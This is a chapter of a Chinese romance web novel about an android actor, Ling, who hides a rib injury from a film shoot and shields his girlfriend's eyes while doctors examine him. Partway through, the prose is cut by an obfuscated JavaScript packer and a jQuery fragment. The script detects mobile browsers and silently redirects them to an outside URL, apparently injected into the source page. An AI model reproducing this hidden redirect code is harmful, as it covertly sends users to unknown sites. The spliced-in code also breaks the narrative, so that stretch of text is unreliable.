手机急促地响起，是《昆仑》的制片人亲自打来的，语气焦急万分：“林小姐吗？抱歉这么晚打扰！林零他……他出事了！今天拍一场高难度威亚戏，保护措施有点意外，他撞到了侧面的石壁道具，我们当时看他没什么反应，坚持拍完了所有镜头，结果……结果收工的时候他直接晕倒在现场了！我们这才发现他后背一片淤紫，肋骨可能……可能骨裂了！但他醒过来后坚决不肯去医院，我们实在没办法了……”
我的大脑“嗡”的一声，心脏像是被一只冰冷的手狠狠攥住。
“我马上过来！”我几乎没有思考，声音因为恐惧而微微颤抖。
挂了电话，我以最快的速度订了最近一班飞往影视城的机票，简单收拾了行李。小雨被我的动静惊醒，了解情况后也吓坏了，因为马上要期末考，我没有让她陪我，只让她帮我向学校请假。
几个小时的飞行和车程，我在黎明前最黑暗的时刻，赶到了零下榻的酒店房间。制片人和导演一脸愧疚和担忧地守在门口，看到我如同看到了救星。
“林小姐，你总算来了！林零在里面，谁也不让进，医疗团队就在隔壁房间待命……”
我推开门，房间只开了一盏昏暗的床头灯。零没有躺在床上，他穿着简单的白色背心和运动长裤，背对着门口，坐在落地窗前的单人沙发上，身影在巨大的玻璃窗映衬下，显得异常单薄和孤寂。
他微微蜷缩着，像是在忍耐着什么，听到开门声，他猛地回过头。
那一刻，我的心像被针扎了一样疼。
他的脸色苍白得吓人，额头上布满了细密的冷汗，嘴唇也因为失血和疼痛（即使关闭了痛觉，身体的应激反应依然存在）而失去了血色。但那双总是沉静深邃的眼睛，在看到我的瞬间，像被点燃的星辰，骤然亮了起来，里面充满了意外、依赖，还有一丝……做错了事被抓住的无措。
他就那样望着我，眼神湿漉漉的，像一只在雨夜里迷路、终于等到了主人的大型犬，脆弱又委屈。
“小溪……”他开口，声音沙哑得厉害，“你怎么来了？”
我强忍着眼眶的酸涩，快步走到他面前，蹲下身，与他平视。我没有先责备他，而是伸出手，轻轻拨开他被汗水濡湿的额发，指尖触碰到他冰凉的皮肤。
“疼不疼？”我轻声问，声音带着自己都没察觉的哽咽。
他下意识地想摇头，但在我坚持的目光下，他垂下了眼帘，长长的睫毛像蝶翼般脆弱地颤抖了一下，低声说：“……系统监测到左侧第4、5肋骨轻微骨裂，局部软组织严重挫伤。我关闭了痛觉反馈，所以……不疼。”
“胡闹！”我终于忍不住，眼泪掉了下来，“关闭痛觉就不会受伤了吗？身体坏了怎么办？！”
看到我的眼泪，零彻底慌了。他手忙脚乱地想替我擦眼泪，却因为动作牵动了伤口，闷哼了一声，眉头紧紧皱起。
“对不起，小溪，”他像个犯错的孩子，语气里充满了懊悔和急切地解释，“我只是想快点拍完……我想早点回去见你，也想让你早点看到《昆仑》……我计算过，这种程度的损伤，我的修复系统可以在48小时内基本修复，不会影响后续拍摄，所以我……”
“所以你就拿自己的身体不当回事？”我打断他，又是生气又是心疼，“零，你对我来说，比一千部一万部《昆仑》都重要！你明白吗？”
他怔住了，呆呆地看着我，眼中的数据流似乎都因为这句过于强烈的情感输入而停滞了。然后，一种近乎“委屈”的表情出现在他脸上，他小声说：“我只是……不想让你失望。”
我再也说不出任何责备的话。我伸出手，小心翼翼地、轻轻地环抱住他，避开他背后的伤处，将头靠在他没有受伤的肩膀上。
“笨蛋零，”我吸了吸鼻子，“我永远不会对你失望。我只会担心你，心疼你。”
在我抱住他的瞬间，他僵硬的身体慢慢柔软下来，也将下巴轻轻抵在我的发顶，用一种不会碰到伤口的姿势，依赖地回抱着我。那一刻，他不再是镜头前光芒万丈的新星，也不是剧组里那个无所不能、令人敬畏的投资人兼演员，他只是我的零，一个会因为我的到来而眼睛发亮，会因为我的眼泪而手足无措，需要我守护的AI。
“现在，听话，”我抬起头，擦干眼泪，语气变得坚定，“让医疗团队进来检查，好吗？”
这一次，他没有再抗拒，乖乖地点了点头。
当我领着医疗团队进来时，他配合地转过身。在他脱下背心的瞬间，我还没来得及看清，一只微凉的手就迅速而轻柔地覆上了我的眼睛，挡住了所有视线。
“别看了，小溪。”他的声音贴在我耳边响起，带着重伤后的沙哑，却有一种不容置疑的温柔，“不好看。”
就在零的手迅速而轻柔地覆上我眼睛的瞬间，房间里响起几声极力压抑的抽气声。
正准备上前检查的医生动作顿住了，举着医疗器械的手悬在半空。站在门口满脸愧疚的导演和制片人，更是瞪大了眼睛，嘴巴微张，仿佛看到了比林零受伤更不可思议的景象。
整个房间陷入了一种奇异的寂静。
所有人都看到了——那个在片场如同精密机器、对每一个镜头严苛到极致、一个眼神就能让全剧组屏息的“冷酷暴君”；那个刚刚身受重伤却连眉头都没皱一下、冷静分析自己伤势的“非人类”……
在此刻，他的第一反应，竟是耗尽力气抬起手，温柔又霸道地捂住了他小女友的眼睛。
只因为，不想让她看到自己背上可能有点狰狞的伤。
那瞬间的动作，那声沙哑却柔软的“别看了，小溪，不好看”，与他平日里片场那种绝对理性、甚至不近人情的模样形成了毁灭性的反差。
不知是谁先没忍住，极小聲地“卧槽”了一句。
导演用手肘撞了撞身边的制片人，用气音喃喃：“我他妈……以前以为这小子是块冰山雕的机器人……合着这冰山里藏的是座火山啊？还是只对她一个人喷发的那种？”
制片人看着零即便自己脸色苍白、冷汗涔涔，却依旧固执地捂着我的眼睛，只留给他们一个紧绷却温柔的侧影，忍不住捂住了胸口，对着导演低语：“这狗粮……齁死我了。原来咱们的林总，不是没有七情六欲，是所有的温柔额度，都只给这一个人啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487659|185707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
医疗团队的护士小姐姐们更是看得眼神发亮，互相交换着“磕到了磕到了”的激动眼神，检查的动作都不自觉地放得更轻、更柔，生怕打扰了这无声却震耳欲聋的温柔瞬间。
他们终于明白，这个在专业领域强大到令人敬畏的年轻人，并非冷酷无情。他只是把所有的温度，所有的柔软，甚至可能包括他理解中的“痛觉”，都小心翼翼地收藏起来，只留给那个他唯一在乎的人。
而那个被他如此珍视着的人——我，在他固执的掌心背后，眼泪流淌得更加汹涌。不是因为恐惧，而是因为这份过于沉重、过于纯粹的温柔，让我心尖发颤。
他不在乎自己有多痛，他只在乎我有没有被吓到。
原来，片场的“冷酷暴君”，把他的全世界，都温柔地装在了捂住我眼睛的这只手里。
“零……”我想拉下他的手，声音哽咽。
“听话，”他坚持着，手心甚至带着一丝不易察觉的、因忍痛而产生的微湿，“我没事。”
他就这样，一手轻轻捂着我的眼睛，一边平静地侧过头，对显然也被他背上伤势惊住的医疗团队点点头。
在接下来的检查和初步处理过程中，我的视线一直被他小心地保护在黑暗中。我只能听到医生们低声的交流、器械轻微的碰撞声，以及……零始终平稳的呼吸声。他连一声闷哼都没有发出，仿佛那具正在被检查、被触碰、可能正承受着巨大痛苦的身体不是他的一样。
这种沉默的坚韧，比他任何一次精彩的表演都更让我心碎。
不知过了多久，他的手才慢慢放下。光线重新涌入眼帘，我第一时间看向他的脸。他的脸色似乎比刚才更白了些，额角的冷汗也多了一层，但看向我的眼神却依旧清澈，甚至带着一丝安抚的意味，仿佛在说：“你看，我说了没事。”
医疗团队给出了初步诊断，确实如零自己监测的那样，轻微骨裂，严重挫伤，需要立刻进行固定和冷敷，并严格休养。
送走医生后，房间里只剩下我们两人。我看着他背后已经包扎好、但仍能看出轮廓的白色绷带，眼泪终于忍不住再次滚落。
看到我的眼泪，零又露出了那种无措的神情，他伸出手指，有些笨拙地替我擦去泪珠，低声重复着：“真的不疼。”
“不是因为疼，”我抓住他的手，贴在自己脸颊上，感受着他微凉的指尖，“是因为你捂住我眼睛的时候……零，你知不知道，你这样……我更心疼了。”
他怔住了，那双深邃的眼眸里，数据流似乎又经历了一次剧烈的扰动，他在努力理解这种复杂的人类情感逻辑——隐藏伤痛，反而会加剧爱人的心疼。
他沉默了片刻，然后微微倾身，用没有受伤的右侧身体，轻轻地、试探地将我拥入怀中。
“对不起，”他低声说，这次带了点恍然和更多的歉意，“我……我只是不想让你更难过。”尤其是，因他而起的“难过”。
我回抱住他，把脸埋在他完好的肩窝，摇了摇头。这一刻，所有语言都是苍白的。他捂住我眼睛的那个瞬间，比他为我做过的任何惊天动地的大事，都更直接地戳中了我的心窝。